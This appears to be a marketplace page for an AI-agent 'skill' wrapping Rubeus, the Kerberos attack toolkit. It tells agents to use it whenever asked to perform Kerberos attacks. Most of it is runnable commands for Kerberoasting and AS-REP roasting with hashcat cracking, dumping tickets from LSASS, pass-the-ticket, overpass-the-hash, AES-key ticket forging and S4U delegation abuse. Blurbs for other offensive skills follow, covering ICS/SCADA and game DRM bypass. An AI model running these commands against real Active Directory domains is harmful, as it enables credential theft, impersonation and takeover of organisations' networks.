offensive-tools/windows/rubeus/SKILL.md
Kerberos attack toolkit for TGT/TGS requests, AS-REP roasting, Kerberoasting, pass-the-ticket, overpass-the-hash, and S4U delegation abuse. Use when asked to perform Kerberos attacks, request tickets, roast service accounts, extract TGTs, or abuse Kerberos delegation in Active Directory.
npx skillsauth add aeondave/malskill rubeusInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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C# Kerberos abuse toolkit — TGT/TGS manipulation, roasting, delegation, and ticket operations.
# AS-REP Roasting (no pre-auth required users)
Rubeus.exe asreproast /format:hashcat
# Kerberoasting (service account TGS)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Dump all tickets from memory
Rubeus.exe dump /nowrap
| Command | Description |
|---------|-------------|
| dump | Dump tickets from LSASS |
| triage | List all tickets |
| monitor | Monitor new TGTs (interval-based) |
| harvest | Harvest TGTs over time |
| Command | Description |
|---------|-------------|
| asktgt | Request TGT with password/hash/aes |
| asktgs | Request TGS for a service |
| renew | Renew a TGT |
| Command | Description |
|---------|-------------|
| asreproast | AS-REP roast (pre-auth disabled) |
| kerberoast | Roast SPN-registered accounts |
| brute | Password brute-force via Kerberos |
| Command | Description |
|---------|-------------|
| ptt | Pass-the-ticket (inject to current session) |
| purge | Purge tickets from memory |
| describe | Parse and describe a ticket |
| createnetonly | Create sacrificial logon session |
| Command | Description |
|---------|-------------|
| s4u | S4U2Self + S4U2Proxy (constrained delegation) |
| tgssub | Substitute altservice in TGS |
# Kerberoast all SPNs → crack offline
Rubeus.exe kerberoast /format:hashcat /outfile:spns.txt
hashcat -a 0 -m 13100 spns.txt rockyou.txt
# AS-REP roast (dump users without pre-auth)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -a 0 -m 18200 asrep.txt rockyou.txt
# Pass-the-ticket: import stolen ticket
Rubeus.exe ptt /ticket:base64_or_file.kirbi
klist # verify ticket in session
# Overpass-the-hash: get TGT with NTLM hash
Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt
# Golden ticket equivalent: asktgt with AES key
Rubeus.exe asktgt /user:admin /aes256:AESKEY /domain:corp.local /dc:dc.corp.local /ptt
# Constrained delegation S4U
Rubeus.exe s4u /user:service$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt
| File | When to load |
|------|--------------|
| references/kerberos-attacks.md | Full Kerberos attack chain, delegation types, ticket format, detection notes |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.